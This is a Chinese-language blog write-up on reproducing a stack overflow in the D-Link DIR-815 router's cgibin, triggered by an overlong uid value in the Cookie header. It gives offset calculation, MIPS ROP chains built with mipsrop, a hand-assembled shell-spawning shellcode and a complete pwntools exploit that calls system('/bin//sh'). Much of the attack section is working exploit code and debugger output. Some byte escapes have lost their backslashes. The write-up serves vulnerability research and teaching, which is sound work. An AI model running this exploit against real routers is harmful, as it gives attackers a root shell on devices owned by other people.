• 路由器漏洞挖掘之 DIR-815 栈溢出漏洞分析


    这次笔者来复现一个比较经典的栈溢出漏洞:D-link dir-815 栈溢出。其实这个路由器的栈溢出漏洞的利用方式和之前 DVRF 靶机平台的栈溢出例子大同小异,只是需要注意下一些小的地方。

    前言

    这个栈溢出的原因是由于 cookie 的值过长导致的栈溢出。服务端取得客户端请求的 HTTP 头中 Cookie 字段中 uid 的值,格式化到栈上导致溢出。

    漏洞分析

    大体流程

    首先还是先将 cgibin 加载到 IDA 中,定位到 sobj_get_string 函数。

    在 sobj_get_string 函数中,取得 "uid=" 后的值

    image_1d96gen7p3rm1v7s1pnl1hqc1s4v9.png-81.6kB

    sprintf($sp, 0x4E8+var_428,"%s/%s/postxml","/runtime/session",getenv("HTTP_COOKIE"))
    

    在执行完 sprintf 函数后,在栈上已经产生了溢出

    image_1d96gg52b2v91vlr1o0do0o5vkm.png-60.3kB

    将0x76FEE8CC 地址处的值赋值给 ra 寄存器

    image_1d96ggvu5cb28da5216mu11fu13.png-276.7kB

    在 jr $ra 时就触发了栈溢出

    image_1d96ghndc1vf6huhht81jfh1fdi1g.png-76.9kB

    • 但是在真实的路由器环境中存在 /var/tmp/temp.xml 的文件,所以真正的可利用的栈溢出是位于 0x0040997C 处的 sprintf 函数

    image_1d96gjalbog81b0ugurvv21ke61t.png-133kB

    最后在执行完函数之后,还是会触发这个栈溢出

    image_1d96gk04i1i1a1pem1gri1b5410lb2a.png-92.6kB

    漏洞利用

    这里还是使用 patternLocOffset.py 来生成一个填充文件

    python patternLocOffset.py -c -l 1600 -f dir_815_overflow
    

    但是注意在 string 的前面需要加上 "uid=",因为这里会执行 sobj_get_string("uid=") 函数,来取到参数 uid 的值,如果没有 uid 参数的话程序会直接结束

    image_1d96gld4adds1ee2cki1memsib2n.png-139.5kB

    同样执行 run.sh 脚本来动态调试

    sudo ./run.sh "uid=1234" `cat dir_815_overflow` -d
    

    在 0x00409A28 处下断点。
    这里 ra 的值是 0x68423668,在 patternLocOffset.py 中确定偏移

    image_1d96gn9hgj0a11651vsg16mj1hb744.png-88.2kB

    这里偏移是 1009

    nick@nick-machine:~/iot/tools$ python patternLocOffset.py -s 0x68423668 -l 1600
    [*] Create pattern string contains 1600 characters ok!
    [*] No exact matches, looking for likely candidates...
    [+] Possible match at offset 1009 (adjusted another-endian)
    [+] take time: 0.0301 s
    

    所以我们构造

    nick@nick-machine:~/iot/firmware/dir-815/dir815_FW_101/_DIR-815 FW 1.01b14_1.01b14.bin.extracted/squashfs-root$ python -c "print 'uid='+'a'*1009+'x78x56x34x12'" > payload
    nick@nick-machine:~/iot/firmware/dir-815/dir815_FW_101/_DIR-815 FW 1.01b14_1.01b14.bin.extracted/squashfs-root$ sudo ./run.sh "uid=1234" `cat payload` -d
    

    这里就成功控制了返回地址

    image_1d96gp53q1e6fnujlvg10rt1hf74h.png-75.8kB

    ROP 链的构造

    关于 ROP 链的构造可以参考笔者的前几篇文章:

    传送们:
    https://www.anquanke.com/post/id/172126
    https://www.anquanke.com/post/id/173362

    • 图片显示不出来的话可以挂个梯子。

    同样的我们把 ROP 的构造分为两块:调用 sleep(1) 函数和调用 shellcode

    获取基本信息

    这里在本地使用 gdb-mul 工具,命令target remote :23946 连接上 gdbserver 之后,在 0x00409A28 出下断,使用 vmmap 查看区段的映射情况,找到 libc 的基地址 0x76738000

    image_1d96gq8bq1j7o1pv119ru1sis1g094u.png-140.8kB

    之后找到 libc 文件,把他加载到 IDA 中。

    image_1d96grj3t70k1dhj12ggare1opv5r.png-174.8kB

    调用 sleep(1) 函数

    这里为了更好展示和理解,画了一幅流程图,看确定在使用 mipsrop 工具下,各个 ROP 的调用顺序

    image_1d96gt0jti7p1tkb1ed1jv9l1475.png-37.1kB

    找到 sleep 函数的参数

    先使用 "li $a0,1" 来寻找 rop,在 0x00057E50 处发现一条合适的指令。这里的 s1 寄存器设置成下一条 gadget 的地址。

    image_1d96gtu268eh1qel1q19231q687i.png-108.7kB

    此时的 payload:

    base_addr = 0x76738000
    
    rop1 = 0x0003E524
    
    padding = 'uid=' + 'a' * 973
    padding += 'a' * 4                              # s0
    padding += p32(base_addr + rop1)                # s1
    padding += 'a' * 4                              # s2
    padding += 'a' * 4                              # s3
    padding += 'a' * 4                              # s4
    padding += 'a' * 4                              # s5
    padding += 'a' * 4                              # s6
    padding += 'a' * 4                              # s7
    padding += 'a' * 4                              # fp
    
    rop2 = 0x00057E50
    
    payload = padding + p32(base_addr + rop2)
    

    接着使用 mipsrop.tail(),准备填充 ra 寄存器

    image_1d96gv7bs1b4uvd4ij3aor1v0g7v.png-101.7kB

    在指令 0x0003E528 处,可以看到 sp 和 ra 寄存器的距离为 0x24,所以这里的填充为 0x24,后面的四个字节就是 ra 寄存器的值(给 ra 寄存器赋值)

    .text:0003E528                 lw      $ra, 0x28+var_4($sp)
    

    这里需要跳转到 sleep 函数去执行,所以 s2 寄存器就填充为 sleep 函数的地址,ra 寄存器填充为下一个 gadget 的地址,这样就可以达到在执行完 sleep 函数刷新缓存的同时,执行 jr $ra 跳转到想到的地址。

    这时的 payload:

    base_addr = 0x76738000
    
    sleep_addr = 0x00056BD0
    rop1 = 0x0003E524
    
    padding = 'uid=' + 'a' * 973
    padding += 'a' * 4                              # s0
    padding += p32(base_addr + rop1)                # s1
    padding += p32(base_addr + sleep_addr)          # s2
    padding += 'a' * 4                              # s3
    padding += 'a' * 4                              # s4
    padding += 'a' * 4                              # s5
    padding += 'a' * 4                              # s6
    padding += 'a' * 4                              # s7
    padding += 'a' * 4                              # fp
    
    rop2 = 0x00057E50
    
    payload = padding + p32(base_addr + rop2)
    
    • 注意各个寄存器的位置

    构造 shellcode

    接着是使用 mipsrop.stackfinder() 查找 gadget,做好往栈上填充 shellcode 的准备

    这里找到一条指令 ,我们可以往 $sp+0x18 的位置填充 shellcode,此时 a1 寄存器就存放着 shellcode 的地址

    .text:0000B814                 addiu   $a1, $sp, 0x168+var_150
    

    image_1d96h1kask1111do3jjhkcqe8c.png-108.4kB

    最后使用 mipsrop.find("move $t9,$a1") 找到可以跳到到 a1 寄存器的指令。
    找到 0x00037E6C 这里的 gadget,正好满足我们的需求。

    image_1d96h2e901b7n1tkq121e18g910e38p.png-97.6kB

    调用 shellcode 时的 payload:

    rop3 = 0x0000B814               # mipsrop.stackfinder()
    
    rop4 = 0x00037E6C               # mipsrop.find("move $t9,$a1")
    payload += 'b' * 0x1c           # 上一步调用完 sleep 函数的填充(mipsrop.tail())
    payload += p32(base_addr + rop4)                # s1
    payload += 'b' * 4                              # s2     
    payload += p32(base_addr + rop3)                # ra
    
    
    shellcode = "xffxffx06x28"  # slti $a2, $zero, -1
    shellcode += "x62x69x0fx3c"  # lui $t7, 0x6962
    shellcode += "x2fx2fxefx35"  # ori $t7, $t7, 0x2f2f
    shellcode += "xf4xffxafxaf"  # sw $t7, -0xc($sp)
    shellcode += "x73x68x0ex3c"  # lui $t6, 0x6873
    shellcode += "x6ex2fxcex35"  # ori $t6, $t6, 0x2f6e
    shellcode += "xf8xffxaexaf"  # sw $t6, -8($sp)
    shellcode += "xfcxffxa0xaf"  # sw $zero, -4($sp)
    shellcode += "xf4xffxa4x27"  # addiu $a0, $sp, -0xc
    shellcode += "xffxffx05x28"  # slti $a1, $zero, -1
    shellcode += "xabx0fx02x24"  # addiu;$v0, $zero, 0xfab
    shellcode += "x0cx01x01x01"  # syscall 0x40404
    
    payload += 'f' * 0x18       # mipsrop.stackfinder() 查找到的指令的填充值
    payload += shellcode        # 放置 shellcode
    

    在 gdb 中开启调试,发现最后成功跳转到 shellcode 的位置

    image_1d96h3ppqp6jqt219qpmuqgdm96.png-128.9kB

    执行 shellcode

    image_1d96h4h6qnf1d9kmsjri1g1d9j.png-147.4kB

    但是这里不知道为什么无法会报错 Illegal instruction

    image_1d96h5er67ev1spv3dncce8maa0.png-63.1kB

    这里还可以使用调用 system 函数的方法来 getshell。

    调用 syetem 函数的方法 getshell

    我们的目的是执行 system("/bin/shx00"),这里的参数可以使用 mipsrop.stackfinder() 的 gadget 来把 "/bin/shx00" 传到栈上。之后将这个栈的位置传入 a0 寄存器,这样就达到了利用的目的

    我们首先在 libc.so 中找到 system 函数的位置,在 0x00053200 处,显然地址的最低位是坏字节,没办法直接传入

    image_1d96hg1nfgsqg7beci8693b9.png-78.1kB

    这里参考了《揭秘家用路由器0day漏洞挖掘技术》一书的方法:先将 system 函数的地址 -1 传入某个寄存器中,之后找到对这个寄存器进行加 +1 的操作的 gadget 进行调用即可将地址恢复到 0x53200。

    具体操作

    这里还是用流程图来表示 gadget 的生成过程:

    image_1d96hgnfq134b1ekt12kd142q3pom.png-32.6kB

    首先利用溢出把 0x53200 -1 传入 s0 寄存器,之后寻找 s0+1 的指令

    Python>mipsrop.find("addiu $s0,1")
    ----------------------------------------------------------------------------------------------------------------
    | Address | Action | Control Jump |
    ----------------------------------------------------------------------------------------------------------------
    | 0x000158C8 | addiu $s0,1 | jalr $s5 |
    | 0x000158D0 | addiu $s0,1 | jalr $s5 |
    | 0x0002374C | addiu $s0,1 | jalr $fp |
    | 0x0002D194 | addiu $s0,1 | jalr $s5 |
    ......
    ---------------------------------------
    

    这里使用第一个 gadget ,指令的意思是直接跳到 s5 寄存器指向的地址,所以上一步溢出时需要事先把 s5 填充为下一个 gadget 的地址

    image_1d96hi11c1jr2s8t1vi1d8qde913.png-7.8kB

    接着使用 mipsrop.stackfinder() 查找 gadget:

    Python>mipsrop.stackfinder()
    ----------------------------------------------------------------------------------------------------------------
    | Address | Action | Control Jump |
    ----------------------------------------------------------------------------------------------------------------
    | 0x0000B814 | addiu $a1,$sp,0x168+var_150 | jalr $s1 |
    | 0x0000B830 | addiu $a1,$sp,0x168+var_B0 | jalr $s1 |
    | 0x0000DEF0 | addiu $s2,$sp,0xC8+var_B8 | jalr $s4 |
    | 0x00013F74 | addiu $s1,$sp,0x50+var_38 | jalr $s4 |
    | 0x00014F28 | addiu $s1,$sp,0x50+var_38 | jalr $s4 |
    | 0x000159CC | addiu $s5,$sp,0x170+var_160 | jalr $s0 |
    ......
    

    选择 0x159cc 这个 gadget ,双击进入查看指令

    image_1d96hl9qt1dimhb111un10f51mhj2t.png-10.2kB

    之所以选择这个 gadget 的原因是因为这里我们可以通过溢出,直接在栈上操纵 a0 寄存器

    • 或者这里也可以使用 mipsrop.system() 来查找 rop 链,这类的 gadget 指令的作用主要是将栈上可控的数据直接传递给 a0 寄存器,如下:
    Python>mipsrop.system()
    ----------------------------------------------------------------------------------------------------------------
    | Address | Action | Control Jump |
    ----------------------------------------------------------------------------------------------------------------
    | 0x00042F60 | addiu $a0,$sp,0x38+var_20 | jalr $a0 |
    | 0x000567A0 | addiu $a0,$sp,0xA0+var_88 | jalr $s4 |
    | 0x00027440 | addiu $a0,$sp,0x30+var_18 | jr 0x30+var_4($sp) |
    | 0x000330F8 | addiu $a0,$sp,0x78+var_60 | jr 0x78+var_4($sp) |
    | 0x00036360 | addiu $a0,$sp,0x48+var_30 | jr 0x48+var_4($sp) |
    | 0x0003F8FC | addiu $a0,$sp,0x50+var_38 | jr 0x50+var_4($sp) |
    | 0x00042F6C | addiu $a0,$sp,0x38+var_20 | jr 0x38+var_4($sp) |
    ----------------------------------------------------------------
    

    之后通过 jalr $s0,这里的 s0 的值为原来 0x531ff+1 后复原的 system 地址的值,也就跳转到了 system("/bin//sh") 函数。

    exp

    #!/usr/bin/python
    from pwn import *
    
    context.endian="little"
    context.arch="mips"
    
    base_addr = 0x76738000
    
    system_addr_1 = 0x53200-1
    rop1 = 0x000158C8
    rop2 = 0x159CC
    
    padding = 'uid=' + 'a' * 973
    padding += p32(base_addr + system_addr_1)                              # s0
    padding += 'a' * 4		                # s1
    padding += 'a' * 4		                # s2
    padding += 'a' * 4                              # s3
    padding += 'a' * 4                              # s4
    padding += p32(base_addr+rop2)       		# s5
    padding += 'a' * 4                              # s6
    padding += 'a' * 4                              # s7
    padding += 'a' * 4                              # fp
    
    padding += p32(base_addr + rop1)		# ra
    
    #------------------------- stack 2 ----------------------------
    padding += 'b' * 0x10
    padding += '/bin//sh'
    
    with open("call_system_padding",'wb') as f:
    	f.write(padding)
    
    f.close()
    

    动态调试

    依然是使用 gdb 在 0x00409A28 处下断点,第一步先跳转到对 s0 加一的 gadget 处

    image_1d96hn7omjrlfabd441eck12jo3a.png-187.4kB

    之后跳转到 s5 寄存器的地址处,把 $sp + 0x10 处的地址传入 s5 寄存器,可以看到这里已经填充完成

    image_1d96hnu7b772j8unmlm9bb4h3n.png-143.6kB

    此时就跳转到了 system 函数,这样就获得了一个 shell。

    image_1d96hotga82tspid321d1q18e24k.png-174.7kB

    总结

    路由器的栈溢出的漏洞点都比较单一,大多数都是由 sprintf 和 strcpy 等函数使用不当造成的。构造 ROP 的方法比较固定,只要对于 mipsrop 这个工具有个熟练的掌握和运用,在寻找 gadget 时脑回路清晰一些,利用的过程也不算太难。

  • 相关阅读:
    线性表
    数据结构绪论
    warning: in-class initialization of non-static data member is a C++11 extension [-Wc++11-extensions]
    struct和typedef struct在c++中的用法
    struct和typedef struct在c语言中的用法
    GCC命令
    python list排序的两种方法及实例讲解
    Python随机数与随机字符串详解
    python处理Excel
    python3使用PyMysql连接mysql数据库
  • 原文地址:https://www.cnblogs.com/H4lo/p/10996943.html
Copyright © 2020-2023  润新知